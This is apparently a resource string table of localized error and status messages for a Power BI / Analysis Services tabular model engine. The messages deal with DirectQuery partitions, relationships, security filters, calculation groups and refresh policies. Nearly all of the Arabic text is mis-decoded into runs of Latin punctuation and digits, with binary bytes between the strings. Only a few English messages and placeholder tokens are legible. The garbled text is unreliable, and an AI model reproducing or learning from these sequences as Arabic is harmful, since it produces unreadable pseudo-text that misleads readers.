D'3*./'E DataView 'DC'ED.�J,( #F JCHF H69 'D'3*9D'E AJ 'DB3E H'-/K' EE' JDJ: '3*J1'/ #H DirectQuery #H 'A*1'6J. 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' J6E H69 '3*9D'E *E *9JJFG %DI /A9. 'D1,'! *:JJ1 H69 'D'3*9D'E %DI BJE) 5'D-).�#B3'E DirectQuery :J1 E3EH- (G' AJ '%{table/}' D#FG' *-*HJ 9DI 9D'B) 'DHB* H'D*'1J. %DI 'D*'1J. E9 ,/HD ".1. J,( #F J-*HJ 'D,/HD 'D0J J6E FH9 'D9D'B) G0' 9DI H69 '3*9D'E *E *9JJFG %DI '3*J1'/.PAD' JECF #F J-*HJ 'D,/HD 'D0J J6E #B3'E *3*./E H69 DirectQuery HDataView 'DC'ED %D' 9DI B3E H'-/ AJ H69 DirectQuery. AJ G0' 'DFEH0, J-*HJ 'D,/HD '%{table/}' 9DI %9/'/'* B3E :J1 5'D-. B/ *-*', %DI /E, 'D#B3'E #H -0AG' -*I JCHF GF'C B3E H'-/ AB7 AJ H69 DirectQuery J6E DataView 'DC'ED.ZJ,( #F *3*9DE CD 'D#B3'E 'D*J *3*./E H69 DirectQuery (@ DataView 'DC'ED FA3 E5/1 'D(J'F'*.�J,( #F *3*./E CD 'D#B3'E 'DE3*F/) %DI FEH0, DataView H69 '3*9D'E 'D'3*J1'/ D%-6'1 'D(J'F'*. J3*./E 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' H69 '3*9D'E :J1 5'D-.KDE J*E *-/J/ E5/1 'D(J'F'* '%{dsname/}' AJ B'9/) 'D(J'F'* AJ 'D#E1 Upgrade.�J*901 #F *-*HJ 'D9D'B) (JF 'D9EH/ '%{fromTable/}'['%{fromColumn/}'] H'D9EH/ '%{toTable/}'['%{toColumn/}'] 9DI SecurityFilterBehavior E9JQF %DI BothDirections 9F/ *9JJF CrossFilterBehavior %DI OneDirection.ODE J*E *ECJF *5AJ) E*B'79) +F'&J) 'D'*,'G DD#E'F 9DI E3*HI 'D5A DDFEH0, 'D-'DJ.�J*901 #F *-*HJ 'D9D'B) (JF 'D9EH/ '%{fromTable/}'['%{fromColumn/}'] H'D9EH/ '%{toTable/}'['%{toColumn/}'] 9DI SecurityFilterBehavior E9JQF %DI BothDirections 9F/ 9/E *9JJF 'D9D'B) %DI F47.�*6E 'D+B'A) '%{culture/}' #C+1 EF *1,E) C'&F H'-/) E-//) DDC'&F ('DE91A: '%lu{objectID/}' HObjectType: '%d{objectType/}' DFA3 'D.'5J) 'DE*1,E): '%d{propertyType/}'.zJ6E 'D,/HD '%{table/}' ('DA9D 9D'B) *E (G' *9JJF 3DHC *5AJ) 'D#E'F %DI Both. JO3E- (9D'B) H'-/) AB7 DCD ,/HD (G0' 'D%9/'/.�*E *CHJF 'D,/HD '%{table/}' D#E'F 9DI E3*HI 'D5A EE' JHA1 BJH/ 9DI CJAJ) *-/J/ 9H'ED *5AJ) 'D#E'F. D' JECF #F JCHF 'D%9/'/ D3DHC *5AJ) 'D#E'F AJ 'D9D'B) '%{relationship/}' ('DBJE) Both.yA Variation object '%{variation/}' in Column '%{column/}' refers to an invalid %{objectType/} with ID '%I64u{objectID/}'.jJ4J1 C'&F 'D*('JF '%{variation/}' AJ 'D9EH/ '%{column/}' %DI %{objectType/} '%{objectName/}' 'D0J *E -0AG.cJ-*HJ 'D,/HD '%{table/}' 9DI 9EH/ H%{objecttype/} (FA3 'D'3E '%{name/}'. 'D1,'! %9'/) *3EJ) #-/GE'.sJ,( *-/J/ 9D'B) AJ C'&F 'D*:J1 '%{variation/}' AJ 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' 9F/ *ECJF 9D'E) 'D*:J1.�J,( #F J*E *9JJF 'D.'5J) ShowAsVariationsOnly AJ 'D,/HD '%{table/}' %DI '1' D#FG' G/A 'D*:J1 '%{variation/}' DD9EH/ '%{variationColumn/}' AJ 'D,/HD '%{variationTable/}' 9F/ *ECJF 9D'E) 'D*:J1.J4J1 CD EF 'D*:J1 '%{variation1/}' DD9EH/ '%{variation1Column/}' AJ 'D,/HD '%{variation1Table/}' H'D*:J1 '%{variation2/}' DD9EH/ '%{variation2Column/}' AJ 'D,/HD '%{variation2Table/}' %DI FA3 'D,/HD '%{table/}' %D' #FG JO3E- (#F JFA0 *:J1 H'-/ AB7 G0' 9F/ *ECJF 9D'E) 'D*:J1.yJ,( #F JCHF 'D,/HD '%{table/}' 'D0J *E (G *9JJF 'D.'5J) ShowAsVariationsOnly %DI '1' G/AK' DD*:J1 9F/ *ECJF 9D'E) 'D*:J1._D' JECF #F J-*HI 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' 9DI *:J1 H'-/ 9F/ *ECJF EFG, 'D*:J1.�J,( *9JJF %4'1) IsDefault AJ 'D*:J1 '%{variation/}' DD9EH/ '%{column/}' AJ 'D,/HD '%{table/}' %DI "5H'(" 9F/ *ECJF 9D'E) 'D*:J1.�*4J1 PerspectiveSet AJ 'DEF8H1 "%{persp/}" %DI 'DE,EH9) "%{perspset/}" AJ 'D,/HD "%{persptable/}" %D' #FG' *F*EJ %DI PerspectiveTable 'D0J J4J1 %DI ,/HD E.*DA "%{persptableparent/}".�D' JECF *(/JD 'DE,EH9) 'D*J J4J1 %DJG' PerspectiveSet "%{perspset/}" AJ 'D,/HD "%{persptable/}" AJ 'DEF8H1 "%{perspective/}". :J1 E3EH- (*(/JD 'DC'&F 'DE1,9J (9/ %F4'! 'DC'&F.\PerspectiveSet AJ 'D,/HD "%{persptable/}" AJ 'DEF8H1 "%{persp/}" D' *-*HJ 9DI E1,9 'DE,EH9).wA PerspectiveSet in table '%{persptable/}' in perspective '%{persp/}' refers to an invalid set with ID '%I64u{setID/}'.k*4J1 PerspectiveSet AJ 'D,/HD "%{persptable/}" AJ 'DEF8H1 "%{persp/}" %DI 'DE,EH9) "%{set/}" 'D*J *E -0AG'.(EJ2) 'DE,EH9) :J1 EOECF) DDFEH0, 'D-'DJ.�*901* %6'A) %{newobjecttype/} ('D'3E '%{name/}' F81K' D#FG JH,/ ('DA9D %{existingobjecttype/} (FA3 'D'3E AJ 'DFEH0, '%{parentname/}'.H*E *9JJF 'D.'5J) "'DFH9" AJ 'D*9(J1 '%{expression/}' %DI BJE) :J1 5'D-).I*E *9JJF 'D.'5J) "'DFH9" AJ 'D*9(J1 '%{expression/}' %DI BJE) :J1 E/9HE).�C'&F TablePermission AJ 'D/H1 '%{role/}' J4J1 %DI ,/HD '%{table/}' J3*./E 'D.'5J) MetadataPermission 'D*J *E -,2G' DD'3*./'E AJ 'DE3*B(D.�DE J*E *ECJF 'DEJ2) DetailRowsExpression/DefaultDetailRowsExpression. J3*./E 'D,/HD '%{table/}' H'-/) EF G0G 'D.5'&5 %D' #FG' E-,H2) DD'3*./'E AJ 'DE3*B(D.�C'&F TablePermission AJ 'D/H1 '%{role/}' J4J1 %DI ,/HD '%{table/}' J3*./E .'5J) MetadataPermission HGJ :J1 E3EH- (G' D#/H'1 'DE3$HD #H 'D*-/J+ #H 'DB1'!)-'D*-/J+.F'D/H1 '%{role/}' /H1 *-/J+ HDG0' D' J3E- (C'&F'* TablePermission 6EFG.F'D/H1 '%{role/}' /H1 E3$HD HDG0' D' J3E- (C'&F'* TablePermission 6EFG.�*F*EJ %DI /H1 B1'!) H/H1 *-/J+/B1'!) *-/J+ %D' #FG D' J*E /9E G0' 9F/ 'D,E9 E9 #E'F 9DI E3*HI 'DC'&F. 'D1,'! 'D'*5'D (E3$HD B'9/) 'D(J'F'* D/JC.�A column '%I64u{columnID/}' of a ColumnPermission object belongs to a table '%I64u{columnTableID/}', which is different from a table '%I64u{tablePermissionTableID/}' referred to by the corresponding TablePermission object.)C'&F ColumnPermission D' J6E E1,9 'D9EH/.QA ColumnPermission object refers to an invalid column with ID '%I64u{columnID/}'.?J4J1 C'&F PerspectiveColumn %DI 9EH/ '%{column/}' 'D0J *E -0AG.xC'&F ColumnPermission J4J1 %DI 9EH/ '%{column/}' J3*./E 'D.'5J) MetadataPermission 'D*J *E -,2G' DD'3*./'E AJ 'DE3*B(D.�C'&F ColumnPermission AJ TablePermission '%{role/}[%{table/}]' J4J1 %DI 9EH/ '%{column/}' J3*./E .'5J) MetadataPermission HGJ :J1 E3EH- (G' D#/H'1 'DE3$HD #H 'D*-/J+ #H 'DB1'!)-'D*-/J+.�C'&F ColumnPermission J4J1 %DI 9EH/ '%{column/}' D' JECF #F JCHF #BD *BJJ/K' EF C'&F TablePermission 'DE*H'AB E9G 'D0J J4J1 %DI ,/HD '%{table/}'.sJ6E ImpersonationInfo DE5/1 'D(J'F'* "%{Datasource/}" ImpersonationMode *E *9JJFG %DI "'A*1'6J" HGJ BJE) :J1 5'D-).�ImpersonationInfo DE5/1 'D(J'F'* '%{Datasource/}' J6E ImpersonationMode (.D'A ''A*1'6J'. D' J*E /9E 3HI H69 'D*E+JD ''A*1'6J' DE5'/1 'D(J'F'* 'DE5FA).tD' JECF *-/J/ .5'&5 ConnectionString #H 'D-3'( #H CDE) 'DE1H1 DE5/1 'D(J'F'* '%{Datasource/}' 'D0J J6E 'DFH9 'E5FA'.�J*901 *-/J/ .5'&5 ConnectionDetails #H ContextExpression #H Credential #H Options DE5/1 'D(J'F'* '%{Datasource/}' 'D0J J6E 'DFH9 'Provider'.PAQE5/1 'D(J'F'* '%{Datasource/}' *E (G *9JJF Type %DI %d{type/} HGJ BJE) :J1 5'D-).E'D.'5J) ConnectionDetails :J1 EH,H/) DE5/1 'D(J'F'* '%{Datasource/}'.>'D.'5J) Credential :J1 EH,H/) DE5/1 'D(J'F'* '%{Datasource/}'.['D*9(J1 '%{expression/}' *E (G *9JJF 'D.'5J) Expression %DI 3D3D) A'1:) HGJ BJE) :J1 5'D-).s'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' *E (G *9JJF 'D.'5J) QueryDefinition %DI 3D3D) A'1:) HGJ BJE) :J1 5'D-).yJ-*HJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' 9DI H69 :J1 5'D-. J,( #F *CHF 'D#B3'E EF 'DFH9 Entity (H69 DirectQuery.s'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' *E (G *9JJF 'D.'5J) QueryDefinition %DI 3D3D) A'1:) HGJ BJE) :J1 5'D-).<J4J1 C'&F ColumnPermission %DI 9EH/ 1BE 'D5A. G0' :J1 E/9HE.2DirectQuery 1400 D' J/9E FH9 E5/1 'D(J'F'* 'DE-//.7J*901 *-HJD B3E M H'-/ #H #E+1 %DI '3*9D'E'* E5/1 #5DJ.8J*901 '3*./'E ContextExpression AJ H69 DirectQuery 1400.jJ*901 -0A 'DEBJ'3 '%{name/}' AJ 'D,/HD '%{table/}' D#FG **E 'D%4'1) %DJG (H'37) 'DEB'J3 'D'A*1'6J DDFEH0,.4E1,9 DefaultMeasure AJ 'DFEH0, '%{model/}' :J1 5'D-.�F*, 9F BJH/ (J'F'* 'D*91JA DD/H1 '%{role/}' 9/E %EC'FJ) 'DH5HD %DI 'D,/HD '%{table/}' EF 'D,/HD '%{rootTable/}'. *E1 3D3D) 'D9D'B) %DI G0' 'D,/HD 9(1 ,/HD "EF HG0' :J1 E3EH- (G.VJ*901 -0A 'D9EH/ '%{groupByColumn/}' F81K' D'3*./'EG D*,EJ9 'D9EH/ '%{groupedColumn/}'PAiThe column '%{groupedColumn/}' has an invalid GroupByColumn reference set to ID '%I64u{groupByColumnId/}'\*E *,EJ9 'D9EH/ '%{groupedColumn/}' -3( 'D9EH/ '%{groupByColumn/}' 'D0J JF*EJ %DI ,/HD E.*DA1D' J,H2 *9JJF '3E 'D/H1 %DI '*' #H '*SharePoint'.F*4J1 'D9D'B) '%{relname/}' %DI 9EH/ EF 'DFH9 1BE 5A G0' :J1 E3EH- (G.=J,( #F J-*HJ 'D,/HD '%{table/}' 9DI 0 #B3'E D#FG J6E 0 #9E/).�B'9/) 'D(J'F'* '%{db_name/}' GJ B'9/) (J'F'* ",/HDJ ,/J/" HD' JECF *:JJ1G' D*-*HJ 9DI C'&F'* (J'F'* *91JA UDM C'DEC9('* H'D#(9'/.�B'9/) 'D(J'F'* '%{db_name/}' GJ B'9/) (J'F'* ",/HDJ ,/J/" HD' JECF %F4'$G' ('3*./'E C'&F'* (J'F'* *91JA UDM C'DEC9('* H'D#(9'/.�*E '3*J1'/ B'9/) 'D(J'F'* '%{db_name/}' EF EDA PBIX DCF D' J2'D GF'C (96 9EDJ'* 'D*-HJD 'DD'2E %CE'DG' B(D #F **ECF EF '3*./'EG'. JECF *FAJ0 'D9EDJ) RefreshCalculate AB7 -*I 'C*E'D 'D*-HJD.�J*901 %F4'! 'D9D'B) '%{name/}' (JF 'D9EH/JF '%{fromTable/}[%{fromColumn/}]' H'%{toTable/}[%{toColumn/}]' D#FGE' DJ3' EF FA3 E5/1 (J'F'* DirectQuery.�J*901 %F4'! 'D9D'B) '%{name/}' (JF 'D9EH/JF '%{fromTable/}[%{fromColumn/}]' H'%{toTable/}[%{toColumn/}]' D#F #-/GE' AJ H69 DirectQuery DCF J*H',/ 'D".1 AJ H69 Import.�*-*HJ 'D9D'B) '%{name/}' (JF 'D9EH/JF '%{fromTable/}[%{fromColumn/}]' H'%{toTable/}[%{toColumn/}]' 9DI %-/I 'D9D'B'* 'D#3'3J) *,'G 'DFG'J) 'D*J *E *9JJFG' %DI (D'. J,( /'&EK' *9JJF 'D9D'B) 'D#3'3J) *,'G 'DFG'J) %DI H'-//E*9//.�*-*HJ 'D9D'B) '%{name/}' (JF 'D9EH/JF '%{fromTable/}[%{fromColumn/}]' H'%{toTable/}[%{toColumn/}]' 9DI 9D'B) #3'3J) EF 'DFG'J) 'D*J *E *9JJFG' %DI H'-/. J,( /'&EK' *9JJF 'D9D'B) 'D#3'3J) EF 'DFG'J) %DI E*9// %D' %0' C'F* 'D9D'B) H'-/ %DI H'-/.�**6EF E,EH9) 'D-3'( '%{calculationGroupName/}' 9F51 'D-3'( '%{calculationItemName/}' (9// *1*J(J :J1 5'D- = '%d{calculationItemOrdinal/}'. J,( #F JCHF 'D9// 'D*1*J(J D9F51 'D-3'( #C(1 EF 5A1 #H J3'HJG CE' J,( #F JCHF A1J/K' 6EF E,EH9) 'D-3'(.�J*6EF 'DFEH0, '%{modelName/}' E,EH9) 'D-3'( '%{calculationGroupName/}' (#3(BJ) :J1 5'D-) = '%d{calculationGroupPrecedence/}'. J,( #F *CHF #3(BJ) E,EH9) 'D-3'( #C(1 EF 5A1 #H *3'HJG CE' J,( #F *CHF A1J/) 6EF 'DFEH0,.�J4J1 C'&F AlternateOf %DI BaseColumn '%{basecolumn/}' EF 'D,/HD '%{basecolumntable/}' HBaseTable '%{basetable/}' HG0' :J1 E3EH- (G D#FGE' E*('/DJF.DJ4J1 C'&F AlternateOf baseColumn %DI 9EH/ :J1 5'D- '%{basecolumn/}'.vJ4J1 C'&F AlternateOf %DI BaseColumn '%{basecolumn/}' EF 'D,/HD '%{basecolumntable/}' 'D0J *E (G -0A 'D9EH/ #H 'D,/HD.lJ,( #F J-*HJ C'&F AlternateOf baseColumn '%{basecolumn/}' 9DI FA3 FH9 (J'F'* C'&F 9EH/ '%{column/}' 'DE1,9J.YAn AlternateOf baseTable object refers to an invalid table with ID '%I64u{basetableID/}'.<J4J1 C'&F AlternateOf %DI BaseTable '%{basetable/}' 'DE-0HA.BJ,( #F J4J1 C'&F AlternateOf :J1 .'DM %DI BaseColumn #H BaseTable.EJ2) AlternateOf DJ3* E/9HE).W'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' DJ3 EF FH9 M. D' J*E /9E 3HI #B3'E M AJ DQ.j*-*HJ E9DE) RefreshPolicy '%{parameterName/}'' DD,/HD '%{table/}' 9DI BJE) :J1 5'D-) '%{parameterValue/}'.�*-*HJ E9DE) RefreshPolicy 'RollingWindowGranularity' DD,/HD '%{table/}' 9DI BJE) :J1 5'D-). J,( #F *CHF #C(1 EF BJE) 'IncrementalGranularity' #H *3'HJG'.�*-*HJ E9DE) RefreshPolicy 'IncrementalWindow' DD,/HD '%{table/}' 9DI BJE) :J1 5'D-). J,( #F *CHF 'DBJE) #BD EF 'RollingWindow' #H *3'HJG.m'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' *E (G *9JJF 'D.'5J) Granularity %DI "Invalid" HGJ BJE) :J1 5'D-).DE J*E *9JJF *1CJ() F7'B 'DHB* ('DFB'H) H'D(/'J) H'DFG'J)) AJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' %DI *1CJ() BJE 5'D-).m*E *9JJF 'D3E) QueryDefinition AJ 'DB3E '%{partition/}' ('D,/HD '%{table/}' HGJ -BD :J1 5'D- DFH9 'DB3E G0'.f*E *9JJF 'D.'5J) "(/'J)" #H "FG'J)" AJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' %DI *F3JB :J1 5'D-.PAPJ-*HJ 'D,/HD '%{table/}' 9DI BJE) RefreshPolicy :J1 5'D-) DDB3E '%{partition/}'.UJ-*HJ 'D,/HD '%{table/}' 9DI B3E E2/H,. B/ D' J-*HJ 9DI #J) #B3'E DataView 9JF) #.1I.VJ-*HJ 'D,/HD '%{table/}' 9DI B3E E2/H,. B/ D' J-*HJ 9DI #J) #B3'E DataView C'ED) #.1I.Q'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' B3E E2/H,. B/ D' JCHF B3E ,/HD E-3H(.f'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' GH FH9 'DE5/1 PolicyRange 'D0J D' J/9E 'DH69 DirectQuery._D' JECF #F J-*HJ 'D,/HD '%{table/}' 9DI #B3'E EF 'DFH9 PolicyRange E9 #B3'E (#FH'9 E.*DA) #.1I.=D' J*E /9E 'D*-/J+ 'DE3*F/ %DI 'DFG, %D' AJ Power BI Premium.�J-*HJ *9(J1 'DE5/1 RefreshPolicy DD,/HD '%{table/}' 9DI BJE) :J1 5'D-). J,( #F J-*HJ *9(J1 'DE5/1 9DI #3EJ 'DE9DE*JF 'RangeStart' H'RangeEnd'.lD' JO3E- (*:JJ1 %5/'1 E5/1 (J'F'* Power BI %D' EF 'D%5/'1 1 %DI %5/'1 #9DI 'D%5/'1 'D-'DJ GH '%d{Current/}'mD' *O/9E E,EH9'* (J'F'* Power BI 'D*J *3*./E *F3JB E5/1 'D(J'F'* 'DE3*F/ %DI M %D' AJ ./E'* Power BI Premium.PJ3*./E 'D,/HD '%{table/}' EJ2) E,EH9) 'D-3'( 'D*J DE J*E *ECJFG' 9DI G0' 'D.'/E.[J,( #F J-*HJ C'&F AlternateOf baseColumn '%{column/}' 9DI FH9 (J'F'* 9// 5-J- D*D.J5 COUNT.tJ,( #F D' JCHF C'&F AlternateOf baseColumn '%{basecolumn/}' (/HF BJE) D#F 'D9EH/ 'DE1,9J '%{column/}' DJ3 (/HF BJE).g'D#E'F 9DI E3*HI 'DC'&F H/#H 'D#E'F 9DI E3*HI 'D5A :J1 E/9HE ('D/H1 '%{role/}' 9F/ '3*./'E AlternateOf.�J,( *9JJF 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' 'DEO4'1 %DJG (H'37) 9EH/ AlternateOf '%{alttable/}'[%{altcol/}] %DI 'DH69 DirectQuery HDataView 'DC'ED.�D' JECF #F J4J1 AlternateOf column '%{alttable/}'[%{altcol/}] %DI 'D9EH/ 'D#3'3J '%{table/}'[%{col/}] D#FG **E 'D%4'1) %DJG ('DA9D (H'37) 9EH/ AlternateOf ".1 H'D*D.J5 H'-/.kD' JECF #F J-*HJ 'D,/HD 'D#3'3J 'DEO4'1 %DJG (H'37) AlternateOf '%{table/}'[%{col/}] 9DI AlternateOf #J6K'.r*E+D 9EDJ'* 'D*,EJ9 AJ 'D,/HDJF '%{aggTable1/}' H'%{aggTable2/}' :EH6K' (F'!K 9DI 'D9D'B'* ('D,/HD '%{baseTable/}'l'D9EH/ 'DE-3H( '%{column/}' AJ 'D,/HD '%{table/}' :J1 5'D- D#F ,/'HD 'DH69 'DE2/H, D' */9E 'D#9E/) 'DE-3H().pJ-*HJ 'D,/HD '%{table/}' 9DI CalculationGroup H('D*'DJ J,( #F J-*HJ 9DI B3E E9 E5/1 EF 'DFH9 'CalculationGroup'.~J-*HJ 'D,/HD '%{table/}' 9DI B3E '%{partition/}' E9 E5/1 EF 'DFH9 'CalculationGroup' HDCF DE J*E *91JA C'&F CalculationGroup.�J,( #F D' J-*HJ 'D,/HD '%{table/}' 'D0J J6E C'&F CalculationGroup 'DE91A %D' 9DI B3E H'-/ 'D0J J,( #F J-*HJ 9DI E5/1 EF 'DFH9 'CalculationGroup'.`J,( #F J-*HJ C'&F 'D9EH/ 'DE1,9J '%{column/}' 9DI FH9 (J'F'* 9// 5-J- 9F/ '3*./'E 'D*D.J5 COUNT.�D' JECF #F J4J1 'D9EH/ AlternateOf '%{alttable/}'[%{altcol/}] %DI 'D,/HD 'D#3'3J '%{table/}' D#FG **E 'D%4'1) %DJG ('DA9D (H'37) 9EH/ AlternateOf ".1 H'D*D.J5 H'-/.xB/ D' J9ED 'DB3E '%{partition/}' DD,/HD '%{table/}' AJ 'DH69 'DE2/H,. 'D1,'! *:JJ1 H69 'DB3E %DI '3*J1'/ #H DirectQuery.!'D*-/J+ 9DI #3'3 'DFG, :J1 E/9HE.qJ-*HJ 'DFEH0, ('DA9D 9DI EBJ'3 '%{name/}' 'D0J J-ED FA3 '3E 9EH/ AJ 'D,/HD '%{table/}'. 'D1,'! %9'/) *3EJ) #-/G'.t*E *9JJF 'D.'5J) QueryDefinition AJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' HGJ :J1 5'D-) DD#B3'E EF G0' 'DFH9.:BJE) '%d{Version/}' D%5/'1 E5/1 (J'F'* Power BI :J1 5'D-).bJ,( *9JJF 'D.'5J) DiscourageImplicitMeasures DDFEH0, '%{Model/}' %DI 5H'( D%F4'! #J) E,EH9'* -3'(.PA�D' JECF *:JJ1 'D.'5J) DiscourageImplicitMeasures DDFEH0, '%{Model/}' EF 5H'( %DI .7# %DI #F J*E -0A ,EJ9 E,EH9'* 'D-3'( AJ 'DFEH0,.w'D9D'B) '%{relname/}' :J1 5'D-) D#F 'D,/HD AlternateOf D' JECF #F JCHF ToTable AJ 9D'B) (9D'B) /H1 #3'3J) ('DBJE) H'-/.�*-*HJ 'D9D'B) '%{name/}' (JF 'D9EH/JF '%{fromTable/}[%{fromColumn/}]' H'%{toTable/}[%{toColumn/}]' 9DI ,/HD E,EH9) 'D-3'( '%{table/}' 'D0J J9*(1 :J1 E3EH- (G.{'D9D'B) '%{relname/}' :J1 5'D-) D#F 'D,/HD AlternateOf D' JECF #F J-*HJ 9DI 9D'B) +F'&J) 'D'*,'G *E (G' *ECJF *5AJ) 'D#E'F.�**901 %6'AG 'DEBJ'3 ('D'3E '%{name/}' D#FG J-*HJ 9DI *9'16 AJ 'D#3E'! E9 EBJ'3 /'.DJ E-,H2 ".1 AJ 'DFEH0, '%{parentname/}'. 'D1,'! %9'/) *3EJ*G.vJ*E EF .D'D *9(J1 RLS *5AJ) ,/HD 'D*,EJ9 G0' '%{aggTable/}' HDCF DJ3 ,/HD 'D*A'5JD '%{baseTable/}' HGH :J1 E3EH- (G.?'D%5/'1 2 EF %5/'1 E5/1 'D(J'F'* :J1 E/9HE AJ Power BI Desktop.V'DE,D/ '%{folder/}' :J1 5'D- D#F 'DE,D/ 'D#5D '%{parentfolder/}' :J1 EH,H/ AJ 'DFEH0,.PJ3*./E 'DE,D/ '%{folder/}' CE,D/ #5D D@ '%{childfolder/}' QueryGroup AJ 'DFEH0,.6J4J1 B3E #H *9(J1 %DI QueryGroup '%{folder/}' 'DE-0HA.gJ4J1 C'&F TablePermission ('D/H1 '%{role/}' %DI ,/HD E,EH9) 'D-3'( '%{table/}' 'D0J J9*(1 :J1 E3EH- (G.�J-*HJ 'D,/HD '%{table/}' 9DI 'D9EH/ '%{column/}' (FH9 (J'F'* #H 9EH/ E5/1 :J1 5'D-. J,( #F JCHF FH9 (J'F'* G0' 'D9EH/ 3D3D) HJ,( #F JCHF 'D9EH/ 'DE5/1 ''D'3E'.�J/9E ,/HD E,EH9) 'D-3'( '%{table/}' 9EH/J (J'F'* (-/ #B5I: #-/GE' 9('1) 9F FH9 (J'F'* 3D3D) *6E 'D9EH/ 'DE5/1 ''D'3E' H'D".1 9('1) 9F FH9 (J'F'* 9// 5-J- J-*HJ 9DI 9EH/ 'DE5/1 '9// *1*J(J'. 'D1,'! *9/JDG' (4CD 5-J- H%9'/) 'DE-'HD).�%,E'DJ 9// #9E/) 'D(J'F'* 'DEH,H/) /'.D ,/HD E,EH9) 'D-3'( '%{table/}' GH %ld{NumberOfDataColumns/} (JFE' D' J/9E ,/HD E,EH9) 'D-3'( 3HI 9EH/ (J'F'* H'-/ #H '+FJF.�J*6EF ,/HD E,EH9) 'D-3'( '%{table/}' 9F51 'D-3'( '%{calculationItemName/}' (9// *1*J(J :J1 5'D- = '%d{calculationItemOrdinal/}'. J,( #F JCHF 'D9// 'D*1*J(J D9F51 'D-3'( #C(1 EF 5A1 #H J3'HJG.^*E *9DJE 'D,/HD '%{table/}' CE3*(9/ EF *-/J+ 'DFEH0, HDCFG ,/HD E-*3( HG0' 3JF'1JH :J1 5'D-.p*E *9DJE 'D,/HD '%{table/}' CE3*(9/ EF *-/J+ 'DFEH0, HDCFG J-*HJ 9DI FG, *-/J+ EB*1F (G HG0' 3JF'1JH :J1 5'D-.s*E *9DJE 'D,/HD '%{table/}' CE3*(9/ EF *-/J+ 'DFEH0, HDCFG J-*HJ 9DI E,EH9) -3'( EB*1F) (G HG0' 3JF'1JH :J1 5'D-.uJ-*HJ 'D/H1 '%{role/}' 9DI #C+1 EF 96H H'-/ *E -DG %DI FA3 E91A 'D96H. *E -D CD 'D#96'! '%{members/}' %DI FA3 'DE91A.q'D.'5J) MeasureAnalysisDefinition DDC'&F '%{analyticsAIMetadata/}' AnalyticsAIMetadata DDFEH0, '%{model/}' A'1:).wDataType '%{datatype/}' DD9EH/ '%{column/}' AJ 'D,/HD '%{table/}' D' J7'(B SourceProviderType '%{sourceproviderType/}'.mRefreshPolicy parameter '%{parameterName/}' for table '%{table/}' has an invalid value '%d{parameterValue/}'.PA(/#* .H'12EJ) FB7) 'D*3D3D.'F*G* .H'12EJ) FB7) 'D*3D3D.!(/#* E9'D,) 'D,/HD '%{strName/}'."'F*G* E9'D,) 'D,/HD '%{strName/}'.;(/#* E9'D,) 'DB3E '%{strName/}' ('D,/HD '%{strTableName/}'.<'F*G* E9'D,) 'DB3E '%{strName/}' ('D,/HD '%{strTableName/}'.D(/#* E9'D,) 'D*3D3D 'DG1EJ '%{strName/}' ('D,/HD '%{strTableName/}'.E'F*G* E9'D,) 'D*3D3D 'DG1EJ '%{strName/}' ('D,/HD '%{strTableName/}'."(/#* E9'D,) 'D9D'B) '%{strName/}'.#'F*G* E9'D,) 'D9D'B) '%{strName/}'..*E *-/J/ 1H'(7 .'1, 'D.7 DCF DE J*E '3*./'EG'.4*E *-/J/ E,EH9) 5AHA 'D*/AB'* DCF DE J*E '3*./'EG'."(/#* EGE) 'D*-BB EF (J'F'* 'D9EH/.#'F*G* EGE) 'D*-BB EF (J'F'* 'D9EH/.1(/#* 'DE1-D) 1 EF 9EDJ) 'D*#CJ/ AJ E9'ED) ,/HDJ).2'F*G* 'DE1-D) 1 EF 9EDJ) 'D*#CJ/ AJ E9'ED) ,/HDJ).1(/#* 'DE1-D) 2 EF 9EDJ) 'D*#CJ/ AJ E9'ED) ,/HDJ).2'F*G* 'DE1-D) 2 EF 9EDJ) 'D*#CJ/ AJ E9'ED) ,/HDJ).J*901 %CE'D 'DE9'ED) 'D,/HDJ).D(/#* E9'D,) 'D9EH/ 'DE-3H( '%{strName/}' ('D,/HD '%{strTableName/}'.E'F*G* E9'D,) 'D9EH/ 'DE-3H( '%{strName/}' ('D,/HD '%{strTableName/}'.t-/+ .7# #+F'! E9'D,) 'DB3E '%{strName/}' ('D,/HD '%{strTableName/}' [1E2 'D.7# 'D/'.DJ: '%{strInternalErrorCode/}'].}-/+ .7# #+F'! E9'D,) 'D*3D3D 'DG1EJ '%{strName/}' ('D,/HD '%{strTableName/}' [1E2 'D.7# 'D/'.DJ: '%{strInternalErrorCode/}'].[-/+ .7# #+F'! E9'D,) 'D9D'B) '%{strName/}' [1E2 'D.7# 'D/'.DJ: '%{strInternalErrorCode/}'].}-/+ .7# #+F'! E9'D,) 'D9EH/ 'DE-3H( '%{strName/}' ('D,/HD '%{strTableName/}' [1E2 'D.7# 'D/'.DJ: '%{strInternalErrorCode/}'].M(/# *-DJD *#+J1 FG, 'D*-/J+ DDB3E '%{strName/}' EF 'D,/HD '%{strTableName/}'.n'F*GI *-DJD *#+J1 FG, 'D*-/J+ DDB3E '%{strName/}' EF 'D,/HD '%{strTableName/}'. J8G1 'D*#+J1 AJ *:J1 'D(J'F'*.r'F*GI *-DJD *#+J1 FG, 'D*-/J+ DDB3E '%{strName/}' EF 'D,/HD '%{strTableName/}'. J8G1 'D*#+J1 AJ 9/E *:J1 'D(J'F'*.PA9'DFEH0, EH,H/ ('DA9D AJ B'9/) 'D(J'F'* '%{strDatabase/}'.i-'HD* E9'ED)L *9/JD (J'F'* 'D*91JA 'D,/HDJ) H:J1 'D,/HDJ) #H %,1'! 9EDJ'* 9DI BH'9/ (J'F'* ,/HDJ) E*9//)..-'HD* 'DE9'ED) *9/JD 'D9/J/ EF BH'9/ 'D(J'F'*.w'3E 9EH/ :J1 E*HBQN9: *E '3*D'E 'D9EH/ '%{actual/}' 6EF E,EH9) 'D5AHA '%{rowset/}'. 'D9EH/ 